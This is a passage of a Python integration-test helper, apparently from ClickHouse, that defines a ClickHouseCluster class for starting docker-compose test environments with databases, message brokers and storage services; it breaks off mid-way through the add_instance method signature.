import base64 import errno import http.client import logging import os import stat import os.path as p import pprint import pwd import re import shutil import socket import subprocess import time import traceback import urllib.parse import shlex import urllib3 from cassandra.policies import RoundRobinPolicy import cassandra.cluster import psycopg2 import pymongo import pymysql import requests from confluent_kafka.avro.cached_schema_registry_client import \ CachedSchemaRegistryClient from dict2xml import dict2xml from kazoo.client import KazooClient from kazoo.exceptions import KazooException from minio import Minio from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT from helpers.test_tools import assert_eq_with_retry, exec_query_with_retry from helpers import pytest_xdist_logging_to_separate_files from helpers.client import QueryRuntimeException import docker from .client import Client from .hdfs_api import HDFSApi HELPERS_DIR = p.dirname(__file__) CLICKHOUSE_ROOT_DIR = p.join(p.dirname(__file__), "../../..") LOCAL_DOCKER_COMPOSE_DIR = p.join(CLICKHOUSE_ROOT_DIR, "docker/test/integration/runner/compose/") DEFAULT_ENV_NAME = '.env' SANITIZER_SIGN = "==================" # to create docker-compose env file def _create_env_file(path, variables): logging.debug(f"Env {variables} stored in {path}") with open(path, 'w') as f: for var, value in list(variables.items()): f.write("=".join([var, value]) + "\n") return path def run_and_check(args, env=None, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=300, nothrow=False, detach=False): if detach: subprocess.Popen(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=env, shell=shell) return logging.debug(f"Command:{args}") res = subprocess.run(args, stdout=stdout, stderr=stderr, env=env, shell=shell, timeout=timeout) out = res.stdout.decode('utf-8') err = res.stderr.decode('utf-8') # check_call(...) from subprocess does not print stderr, so we do it manually for outline in out.splitlines(): logging.debug(f"Stdout:{outline}") for errline in err.splitlines(): logging.debug(f"Stderr:{errline}") if res.returncode != 0: logging.debug(f"Exitcode:{res.returncode}") if env: logging.debug(f"Env:{env}") if not nothrow: raise Exception(f"Command {args} return non-zero code {res.returncode}: {res.stderr.decode('utf-8')}") return out # Based on https://stackoverflow.com/questions/2838244/get-open-tcp-port-in-python/2838309#2838309 def get_free_port(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("",0)) s.listen(1) port = s.getsockname()[1] s.close() return port def retry_exception(num, delay, func, exception=Exception, *args, **kwargs): """ Retry if `func()` throws, `num` times. :param func: func to run :param num: number of retries :throws StopIteration """ i = 0 while i <= num: try: func(*args, **kwargs) time.sleep(delay) except exception: # pylint: disable=broad-except i += 1 continue return raise StopIteration('Function did not finished successfully') def subprocess_check_call(args, detach=False, nothrow=False): # Uncomment for debugging #logging.info('run:' + ' '.join(args)) return run_and_check(args, detach=detach, nothrow=nothrow) def get_odbc_bridge_path(): path = os.environ.get('CLICKHOUSE_TESTS_ODBC_BRIDGE_BIN_PATH') if path is None: server_path = os.environ.get('CLICKHOUSE_TESTS_SERVER_BIN_PATH') if server_path is not None: return os.path.join(os.path.dirname(server_path), 'clickhouse-odbc-bridge') else: return '/usr/bin/clickhouse-odbc-bridge' return path def get_library_bridge_path(): path = os.environ.get('CLICKHOUSE_TESTS_LIBRARY_BRIDGE_BIN_PATH') if path is None: server_path = os.environ.get('CLICKHOUSE_TESTS_SERVER_BIN_PATH') if server_path is not None: return os.path.join(os.path.dirname(server_path), 'clickhouse-library-bridge') else: return '/usr/bin/clickhouse-library-bridge' return path def get_docker_compose_path(): compose_path = os.environ.get('DOCKER_COMPOSE_DIR') if compose_path is not None: return os.path.dirname(compose_path) else: if os.path.exists(os.path.dirname('/compose/')): return os.path.dirname('/compose/') # default in docker runner container else: logging.debug(f"Fallback docker_compose_path to LOCAL_DOCKER_COMPOSE_DIR: {LOCAL_DOCKER_COMPOSE_DIR}") return LOCAL_DOCKER_COMPOSE_DIR def check_kafka_is_available(kafka_id, kafka_port): p = subprocess.Popen(('docker', 'exec', '-i', kafka_id, '/usr/bin/kafka-broker-api-versions', '--bootstrap-server', f'INSIDE://localhost:{kafka_port}'), stdout=subprocess.PIPE, stderr=subprocess.PIPE) p.communicate() return p.returncode == 0 def check_rabbitmq_is_available(rabbitmq_id): p = subprocess.Popen(('docker', 'exec', '-i', rabbitmq_id, 'rabbitmqctl', 'await_startup'), stdout=subprocess.PIPE) p.communicate() return p.returncode == 0 def enable_consistent_hash_plugin(rabbitmq_id): p = subprocess.Popen(('docker', 'exec', '-i', rabbitmq_id, "rabbitmq-plugins", "enable", "rabbitmq_consistent_hash_exchange"), stdout=subprocess.PIPE) p.communicate() return p.returncode == 0 def get_instances_dir(): if 'INTEGRATION_TESTS_RUN_ID' in os.environ and os.environ['INTEGRATION_TESTS_RUN_ID']: return '_instances_' + shlex.quote(os.environ['INTEGRATION_TESTS_RUN_ID']) else: return '_instances' class ClickHouseCluster: """ClickHouse cluster with several instances and (possibly) ZooKeeper. Add instances with several calls to add_instance(), then start them with the start() call. Directories for instances are created in the directory of base_path. After cluster is started, these directories will contain logs, database files, docker-compose config, ClickHouse configs etc. """ def __init__(self, base_path, name=None, base_config_dir=None, server_bin_path=None, client_bin_path=None, odbc_bridge_bin_path=None, library_bridge_bin_path=None, zookeeper_config_path=None, custom_dockerd_host=None, zookeeper_keyfile=None, zookeeper_certfile=None): for param in list(os.environ.keys()): logging.debug("ENV %40s %s" % (param, os.environ[param])) self.base_path = base_path self.base_dir = p.dirname(base_path) self.name = name if name is not None else '' self.base_config_dir = base_config_dir or os.environ.get('CLICKHOUSE_TESTS_BASE_CONFIG_DIR', '/etc/clickhouse-server/') self.server_bin_path = p.realpath( server_bin_path or os.environ.get('CLICKHOUSE_TESTS_SERVER_BIN_PATH', '/usr/bin/clickhouse')) self.odbc_bridge_bin_path = p.realpath(odbc_bridge_bin_path or get_odbc_bridge_path()) self.library_bridge_bin_path = p.realpath(library_bridge_bin_path or get_library_bridge_path()) self.client_bin_path = p.realpath( client_bin_path or os.environ.get('CLICKHOUSE_TESTS_CLIENT_BIN_PATH', '/usr/bin/clickhouse-client')) self.zookeeper_config_path = p.join(self.base_dir, zookeeper_config_path) if zookeeper_config_path else p.join( HELPERS_DIR, 'zookeeper_config.xml') project_name = pwd.getpwuid(os.getuid()).pw_name + p.basename(self.base_dir) + self.name # docker-compose removes everything non-alphanumeric from project names so we do it too. self.project_name = re.sub(r'[^a-z0-9]', '', project_name.lower()) instances_dir_name = '_instances' if self.name: instances_dir_name += '_' + self.name if 'INTEGRATION_TESTS_RUN_ID' in os.environ and os.environ['INTEGRATION_TESTS_RUN_ID']: instances_dir_name += '_' + shlex.quote(os.environ['INTEGRATION_TESTS_RUN_ID']) self.instances_dir = p.join(self.base_dir, instances_dir_name) self.docker_logs_path = p.join(self.instances_dir, 'docker.log') self.env_file = p.join(self.instances_dir, DEFAULT_ENV_NAME) self.env_variables = {} self.env_variables["TSAN_OPTIONS"] = "second_deadlock_stack=1" self.env_variables["CLICKHOUSE_WATCHDOG_ENABLE"] = "0" self.up_called = False custom_dockerd_host = custom_dockerd_host or os.environ.get('CLICKHOUSE_TESTS_DOCKERD_HOST') self.docker_api_version = os.environ.get("DOCKER_API_VERSION") self.docker_base_tag = os.environ.get("DOCKER_BASE_TAG", "latest") self.base_cmd = ['docker-compose'] if custom_dockerd_host: self.base_cmd += ['--host', custom_dockerd_host] self.base_cmd += ['--env-file', self.env_file] self.base_cmd += ['--project-name', self.project_name] self.base_zookeeper_cmd = None self.base_mysql_cmd = [] self.base_kafka_cmd = [] self.base_kerberized_kafka_cmd = [] self.base_rabbitmq_cmd = [] self.base_cassandra_cmd = [] self.base_jdbc_bridge_cmd = [] self.base_redis_cmd = [] self.pre_zookeeper_commands = [] self.instances = {} self.with_zookeeper = False self.with_zookeeper_secure = False self.with_mysql_client = False self.with_mysql = False self.with_mysql8 = False self.with_mysql_cluster = False self.with_postgres = False self.with_postgres_cluster = False self.with_kafka = False self.with_kerberized_kafka = False self.with_rabbitmq = False self.with_odbc_drivers = False self.with_hdfs = False self.with_kerberized_hdfs = False self.with_mongo = False self.with_mongo_secure = False self.with_net_trics = False self.with_redis = False self.with_cassandra = False self.with_jdbc_bridge = False self.with_nginx = False self.with_minio = False self.minio_dir = os.path.join(self.instances_dir, "minio") self.minio_certs_dir = None # source for certificates self.minio_host = "minio1" self.minio_ip = None self.minio_bucket = "root" self.minio_bucket_2 = "root2" self.minio_port = 9001 self.minio_client = None # type: Minio self.minio_redirect_host = "proxy1" self.minio_redirect_ip = None self.minio_redirect_port = 8080 self.with_azurite = False # available when with_hdfs == True self.hdfs_host = "hdfs1" self.hdfs_ip = None self.hdfs_name_port = 50070 self.hdfs_data_port = 50075 self.hdfs_dir = p.abspath(p.join(self.instances_dir, "hdfs")) self.hdfs_logs_dir = os.path.join(self.hdfs_dir, "logs") self.hdfs_api = None # also for kerberized hdfs # available when with_kerberized_hdfs == True self.hdfs_kerberized_host = "kerberizedhdfs1" self.hdfs_kerberized_ip = None self.hdfs_kerberized_name_port = 50070 self.hdfs_kerberized_data_port = 1006 self.hdfs_kerberized_dir = p.abspath(p.join(self.instances_dir, "kerberized_hdfs")) self.hdfs_kerberized_logs_dir = os.path.join(self.hdfs_kerberized_dir, "logs") # available when with_kafka == True self.kafka_host = "kafka1" self.kafka_port = get_free_port() self.kafka_docker_id = None self.schema_registry_host = "schema-registry" self.schema_registry_port = get_free_port() self.kafka_docker_id = self.get_instance_docker_id(self.kafka_host) # available when with_kerberozed_kafka == True self.kerberized_kafka_host = "kerberized_kafka1" self.kerberized_kafka_port = get_free_port() self.kerberized_kafka_docker_id = self.get_instance_docker_id(self.kerberized_kafka_host) # available when with_mongo == True self.mongo_host = "mongo1" self.mongo_port = get_free_port() # available when with_cassandra == True self.cassandra_host = "cassandra1" self.cassandra_port = 9042 self.cassandra_ip = None self.cassandra_id = self.get_instance_docker_id(self.cassandra_host) # available when with_rabbitmq == True self.rabbitmq_host = "rabbitmq1" self.rabbitmq_ip = None self.rabbitmq_port = 5672 self.rabbitmq_dir = p.abspath(p.join(self.instances_dir, "rabbitmq")) self.rabbitmq_logs_dir = os.path.join(self.rabbitmq_dir, "logs") # available when with_nginx == True self.nginx_host = "nginx" self.nginx_ip = None self.nginx_port = 80 self.nginx_id = self.get_instance_docker_id(self.nginx_host) # available when with_redis == True self.redis_host = "redis1" self.redis_port = get_free_port() # available when with_postgres == True self.postgres_host = "postgres1" self.postgres_ip = None self.postgres_conn = None self.postgres2_host = "postgres2" self.postgres2_ip = None self.postgres2_conn = None self.postgres3_host = "postgres3" self.postgres3_ip = None self.postgres3_conn = None self.postgres4_host = "postgres4" self.postgres4_ip = None self.postgres4_conn = None self.postgres_port = 5432 self.postgres_dir = p.abspath(p.join(self.instances_dir, "postgres")) self.postgres_logs_dir = os.path.join(self.postgres_dir, "postgres1") self.postgres2_logs_dir = os.path.join(self.postgres_dir, "postgres2") self.postgres3_logs_dir = os.path.join(self.postgres_dir, "postgres3") self.postgres4_logs_dir = os.path.join(self.postgres_dir, "postgres4") # available when with_mysql_client == True self.mysql_client_host = "mysql_client" self.mysql_client_container = None # available when with_mysql == True self.mysql_host = "mysql57" self.mysql_port = 3306 self.mysql_ip = None self.mysql_dir = p.abspath(p.join(self.instances_dir, "mysql")) self.mysql_logs_dir = os.path.join(self.mysql_dir, "logs") # available when with_mysql_cluster == True self.mysql2_host = "mysql2" self.mysql3_host = "mysql3" self.mysql4_host = "mysql4" self.mysql2_ip = None self.mysql3_ip = None self.mysql4_ip = None self.mysql_cluster_dir = p.abspath(p.join(self.instances_dir, "mysql")) self.mysql_cluster_logs_dir = os.path.join(self.mysql_dir, "logs") # available when with_mysql8 == True self.mysql8_host = "mysql80" self.mysql8_port = 3306 self.mysql8_ip = None self.mysql8_dir = p.abspath(p.join(self.instances_dir, "mysql8")) self.mysql8_logs_dir = os.path.join(self.mysql8_dir, "logs") # available when with_zookeper_secure == True self.zookeeper_secure_port = 2281 self.zookeeper_keyfile = zookeeper_keyfile self.zookeeper_certfile = zookeeper_certfile # available when with_zookeper == True self.use_keeper = True self.zookeeper_port = 2181 self.keeper_instance_dir_prefix = p.join(p.abspath(self.instances_dir), "keeper") # if use_keeper = True self.zookeeper_instance_dir_prefix = p.join(self.instances_dir, "zk") self.zookeeper_dirs_to_create = [] # available when with_jdbc_bridge == True self.jdbc_bridge_host = "bridge1" self.jdbc_bridge_ip = None self.jdbc_bridge_port = 9019 self.jdbc_driver_dir = p.abspath(p.join(self.instances_dir, "jdbc_driver")) self.jdbc_driver_logs_dir = os.path.join(self.jdbc_driver_dir, "logs") self.docker_client = None self.is_up = False self.env = os.environ.copy() logging.debug(f"CLUSTER INIT base_config_dir:{self.base_config_dir}") def cleanup(self): if os.environ and 'DISABLE_CLEANUP' in os.environ and os.environ['DISABLE_CLEANUP'] == "1": logging.warning("Cleanup is disabled") return # Just in case kill unstopped containers from previous launch try: unstopped_containers = self.get_running_containers() if unstopped_containers: logging.debug(f"Trying to kill unstopped containers: {unstopped_containers}") for id in unstopped_containers: run_and_check(f'docker kill {id}', shell=True, nothrow=True) run_and_check(f'docker rm {id}', shell=True, nothrow=True) unstopped_containers = self.get_running_containers() if unstopped_containers: logging.debug(f"Left unstopped containers: {unstopped_containers}") else: logging.debug(f"Unstopped containers killed.") else: logging.debug(f"No running containers for project: {self.project_name}") except: pass # # Just in case remove unused networks # try: # logging.debug("Trying to prune unused networks...") # run_and_check(['docker', 'network', 'prune', '-f']) # logging.debug("Networks pruned") # except: # pass # Remove unused images # try: # logging.debug("Trying to prune unused images...") # run_and_check(['docker', 'image', 'prune', '-f']) # logging.debug("Images pruned") # except: # pass # Remove unused volumes try: logging.debug("Trying to prune unused volumes...") result = run_and_check(['docker volume ls | wc -l'], shell=True) if int(result>0): run_and_check(['docker', 'volume', 'prune', '-f']) logging.debug(f"Volumes pruned: {result}") except: pass def get_docker_handle(self, docker_id): exception = None for i in range(5): try: return self.docker_client.containers.get(docker_id) except Exception as ex: print("Got exception getting docker handle", str(ex)) time.sleep(i * 2) exception = ex raise exception def get_client_cmd(self): cmd = self.client_bin_path if p.basename(cmd) == 'clickhouse': cmd += " client" return cmd # Returns the list of currently running docker containers corresponding to this ClickHouseCluster. def get_running_containers(self): # docker-compose names containers using the following formula: # container_name = project_name + '_' + instance_name + '_1' # We need to have "^/" and "$" in the "--filter name" option below to filter by exact name of the container, see # https://stackoverflow.com/questions/48767760/how-to-make-docker-container-ls-f-name-filter-by-exact-name filter_name = f'^/{self.project_name}_.*_1$' # We want the command "docker container list" to show only containers' ID and their names, separated by colon. format = '{{.ID}}:{{.Names}}' containers = run_and_check(f"docker container list --all --filter name='{filter_name}' --format '{format}'", shell=True) containers = dict(line.split(':', 1) for line in containers.decode('utf8').splitlines()) return containers def copy_file_from_container_to_container(self, src_node, src_path, dst_node, dst_path): fname = os.path.basename(src_path) run_and_check([f"docker cp {src_node.docker_id}:{src_path} {self.instances_dir}"], shell=True) run_and_check([f"docker cp {self.instances_dir}/{fname} {dst_node.docker_id}:{dst_path}"], shell=True) def setup_zookeeper_secure_cmd(self, instance, env_variables, docker_compose_yml_dir): logging.debug('Setup ZooKeeper Secure') zookeeper_docker_compose_path = p.join(docker_compose_yml_dir, 'docker_compose_zookeeper_secure.yml') env_variables['ZOO_SECURE_CLIENT_PORT'] = str(self.zookeeper_secure_port) env_variables['ZK_FS'] = 'bind' for i in range(1, 4): zk_data_path = os.path.join(self.zookeeper_instance_dir_prefix + str(i), "data") zk_log_path = os.path.join(self.zookeeper_instance_dir_prefix + str(i), "log") env_variables['ZK_DATA' + str(i)] = zk_data_path env_variables['ZK_DATA_LOG' + str(i)] = zk_log_path self.zookeeper_dirs_to_create += [zk_data_path, zk_log_path] logging.debug(f"DEBUG ZK: {self.zookeeper_dirs_to_create}") self.with_zookeeper_secure = True self.base_cmd.extend(['--file', zookeeper_docker_compose_path]) self.base_zookeeper_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', zookeeper_docker_compose_path] return self.base_zookeeper_cmd def setup_zookeeper_cmd(self, instance, env_variables, docker_compose_yml_dir): logging.debug('Setup ZooKeeper') zookeeper_docker_compose_path = p.join(docker_compose_yml_dir, 'docker_compose_zookeeper.yml') env_variables['ZK_FS'] = 'bind' for i in range(1, 4): zk_data_path = os.path.join(self.zookeeper_instance_dir_prefix + str(i), "data") zk_log_path = os.path.join(self.zookeeper_instance_dir_prefix + str(i), "log") env_variables['ZK_DATA' + str(i)] = zk_data_path env_variables['ZK_DATA_LOG' + str(i)] = zk_log_path self.zookeeper_dirs_to_create += [zk_data_path, zk_log_path] logging.debug(f"DEBUG ZK: {self.zookeeper_dirs_to_create}") self.with_zookeeper = True self.base_cmd.extend(['--file', zookeeper_docker_compose_path]) self.base_zookeeper_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', zookeeper_docker_compose_path] return self.base_zookeeper_cmd def setup_keeper_cmd(self, instance, env_variables, docker_compose_yml_dir): logging.debug('Setup Keeper') keeper_docker_compose_path = p.join(docker_compose_yml_dir, 'docker_compose_keeper.yml') binary_path = self.server_bin_path if binary_path.endswith('-server'): binary_path = binary_path[:-len('-server')] env_variables['keeper_binary'] = binary_path env_variables['image'] = "clickhouse/integration-test:" + self.docker_base_tag env_variables['user'] = str(os.getuid()) env_variables['keeper_fs'] = 'bind' for i in range(1, 4): keeper_instance_dir = self.keeper_instance_dir_prefix + f"{i}" logs_dir = os.path.join(keeper_instance_dir, "log") configs_dir = os.path.join(keeper_instance_dir, "config") coordination_dir = os.path.join(keeper_instance_dir, "coordination") env_variables[f'keeper_logs_dir{i}'] = logs_dir env_variables[f'keeper_config_dir{i}'] = configs_dir env_variables[f'keeper_db_dir{i}'] = coordination_dir self.zookeeper_dirs_to_create += [logs_dir, configs_dir, coordination_dir] logging.debug(f"DEBUG KEEPER: {self.zookeeper_dirs_to_create}") self.with_zookeeper = True self.base_cmd.extend(['--file', keeper_docker_compose_path]) self.base_zookeeper_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', keeper_docker_compose_path] return self.base_zookeeper_cmd def setup_mysql_client_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mysql_client = True self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_client.yml')]) self.base_mysql_client_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_client.yml')] return self.base_mysql_client_cmd def setup_mysql_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mysql = True env_variables['MYSQL_HOST'] = self.mysql_host env_variables['MYSQL_PORT'] = str(self.mysql_port) env_variables['MYSQL_ROOT_HOST'] = '%' env_variables['MYSQL_LOGS'] = self.mysql_logs_dir env_variables['MYSQL_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql.yml')]) self.base_mysql_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql.yml')] return self.base_mysql_cmd def setup_mysql8_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mysql8 = True env_variables['MYSQL8_HOST'] = self.mysql8_host env_variables['MYSQL8_PORT'] = str(self.mysql8_port) env_variables['MYSQL8_ROOT_HOST'] = '%' env_variables['MYSQL8_LOGS'] = self.mysql8_logs_dir env_variables['MYSQL8_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_8_0.yml')]) self.base_mysql8_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_8_0.yml')] return self.base_mysql8_cmd def setup_mysql_cluster_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mysql_cluster = True env_variables['MYSQL_CLUSTER_PORT'] = str(self.mysql_port) env_variables['MYSQL_CLUSTER_ROOT_HOST'] = '%' env_variables['MYSQL_CLUSTER_LOGS'] = self.mysql_cluster_logs_dir env_variables['MYSQL_CLUSTER_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_cluster.yml')]) self.base_mysql_cluster_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mysql_cluster.yml')] return self.base_mysql_cluster_cmd def setup_postgres_cmd(self, instance, env_variables, docker_compose_yml_dir): self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_postgres.yml')]) env_variables['POSTGRES_PORT'] = str(self.postgres_port) env_variables['POSTGRES_DIR'] = self.postgres_logs_dir env_variables['POSTGRES_LOGS_FS'] = "bind" self.with_postgres = True self.base_postgres_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_postgres.yml')] return self.base_postgres_cmd def setup_postgres_cluster_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_postgres_cluster = True env_variables['POSTGRES_PORT'] = str(self.postgres_port) env_variables['POSTGRES2_DIR'] = self.postgres2_logs_dir env_variables['POSTGRES3_DIR'] = self.postgres3_logs_dir env_variables['POSTGRES4_DIR'] = self.postgres4_logs_dir env_variables['POSTGRES_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_postgres_cluster.yml')]) self.base_postgres_cluster_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_postgres_cluster.yml')] def setup_hdfs_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_hdfs = True env_variables['HDFS_HOST'] = self.hdfs_host env_variables['HDFS_NAME_PORT'] = str(self.hdfs_name_port) env_variables['HDFS_DATA_PORT'] = str(self.hdfs_data_port) env_variables['HDFS_LOGS'] = self.hdfs_logs_dir env_variables['HDFS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_hdfs.yml')]) self.base_hdfs_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_hdfs.yml')] logging.debug("HDFS BASE CMD:{self.base_hdfs_cmd)}") return self.base_hdfs_cmd def setup_kerberized_hdfs_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_kerberized_hdfs = True env_variables['KERBERIZED_HDFS_HOST'] = self.hdfs_kerberized_host env_variables['KERBERIZED_HDFS_NAME_PORT'] = str(self.hdfs_kerberized_name_port) env_variables['KERBERIZED_HDFS_DATA_PORT'] = str(self.hdfs_kerberized_data_port) env_variables['KERBERIZED_HDFS_LOGS'] = self.hdfs_kerberized_logs_dir env_variables['KERBERIZED_HDFS_FS'] = "bind" env_variables['KERBERIZED_HDFS_DIR'] = instance.path + '/' self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_kerberized_hdfs.yml')]) self.base_kerberized_hdfs_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_kerberized_hdfs.yml')] return self.base_kerberized_hdfs_cmd def setup_kafka_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_kafka = True env_variables['KAFKA_HOST'] = self.kafka_host env_variables['KAFKA_EXTERNAL_PORT'] = str(self.kafka_port) env_variables['SCHEMA_REGISTRY_EXTERNAL_PORT'] = str(self.schema_registry_port) env_variables['SCHEMA_REGISTRY_INTERNAL_PORT'] = "8081" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_kafka.yml')]) self.base_kafka_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_kafka.yml')] return self.base_kafka_cmd def setup_kerberized_kafka_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_kerberized_kafka = True env_variables['KERBERIZED_KAFKA_DIR'] = instance.path + '/' env_variables['KERBERIZED_KAFKA_HOST'] = self.kerberized_kafka_host env_variables['KERBERIZED_KAFKA_EXTERNAL_PORT'] = str(self.kerberized_kafka_port) self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_kerberized_kafka.yml')]) self.base_kerberized_kafka_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_kerberized_kafka.yml')] return self.base_kerberized_kafka_cmd def setup_redis_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_redis = True env_variables['REDIS_HOST'] = self.redis_host env_variables['REDIS_EXTERNAL_PORT'] = str(self.redis_port) env_variables['REDIS_INTERNAL_PORT'] = "6379" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_redis.yml')]) self.base_redis_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_redis.yml')] return self.base_redis_cmd def setup_rabbitmq_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_rabbitmq = True env_variables['RABBITMQ_HOST'] = self.rabbitmq_host env_variables['RABBITMQ_PORT'] = str(self.rabbitmq_port) env_variables['RABBITMQ_LOGS'] = self.rabbitmq_logs_dir env_variables['RABBITMQ_LOGS_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_rabbitmq.yml')]) self.base_rabbitmq_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_rabbitmq.yml')] return self.base_rabbitmq_cmd def setup_mongo_secure_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mongo = self.with_mongo_secure = True env_variables['MONGO_HOST'] = self.mongo_host env_variables['MONGO_EXTERNAL_PORT'] = str(self.mongo_port) env_variables['MONGO_INTERNAL_PORT'] = "27017" env_variables['MONGO_CONFIG_PATH'] = HELPERS_DIR self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mongo_secure.yml')]) self.base_mongo_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mongo_secure.yml')] return self.base_mongo_cmd def setup_mongo_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_mongo = True env_variables['MONGO_HOST'] = self.mongo_host env_variables['MONGO_EXTERNAL_PORT'] = str(self.mongo_port) env_variables['MONGO_INTERNAL_PORT'] = "27017" env_variables['MONGO_EXTERNAL_PORT_2'] = "27018" env_variables['MONGO_INTERNAL_PORT_2'] = "27017" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_mongo.yml')]) self.base_mongo_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_mongo.yml')] return self.base_mongo_cmd def setup_minio_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_minio = True cert_d = p.join(self.minio_dir, "certs") env_variables['MINIO_CERTS_DIR'] = cert_d env_variables['MINIO_PORT'] = str(self.minio_port) env_variables['SSL_CERT_FILE'] = p.join(self.base_dir, cert_d, 'public.crt') self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_minio.yml')]) self.base_minio_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_minio.yml')] return self.base_minio_cmd def setup_azurite_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_azurite = True self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_azurite.yml')]) self.base_azurite_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_azurite.yml')] return self.base_azurite_cmd def setup_cassandra_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_cassandra = True env_variables['CASSANDRA_PORT'] = str(self.cassandra_port) self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_cassandra.yml')]) self.base_cassandra_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_cassandra.yml')] return self.base_cassandra_cmd def setup_jdbc_bridge_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_jdbc_bridge = True env_variables['JDBC_DRIVER_LOGS'] = self.jdbc_driver_logs_dir env_variables['JDBC_DRIVER_FS'] = "bind" self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_jdbc_bridge.yml')]) self.base_jdbc_bridge_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_jdbc_bridge.yml')] return self.base_jdbc_bridge_cmd def setup_nginx_cmd(self, instance, env_variables, docker_compose_yml_dir): self.with_nginx = True self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_nginx.yml')]) self.base_nginx_cmd = ['docker-compose', '--env-file', instance.env_file, '--project-name', self.project_name, '--file', p.join(docker_compose_yml_dir, 'docker_compose_nginx.yml')] return self.base_nginx_cmd def add_instance(self, name, base_config_dir=None, main_configs=None, user_configs=None, dictionaries=None, macros=None, with_zookeeper=False, with_zookeeper_secure=False, with_mysql_client=False, with_mysql=False, with_mysql8=False, with_mysql_cluster=False, with_kafka=False, with_kerberized_kafka=False, with_rabbitmq=False, clickhouse_path_dir=None, with_odbc_drivers=False, with_postgres=False, with_postgres_cluster=False, with_hdfs=False, with_kerberized_hdfs=False, with_mongo=False, with_mongo_secure=False, with_nginx=False, with_redis=False, with_minio=False, with_azurite=False, with_cassandra=False, 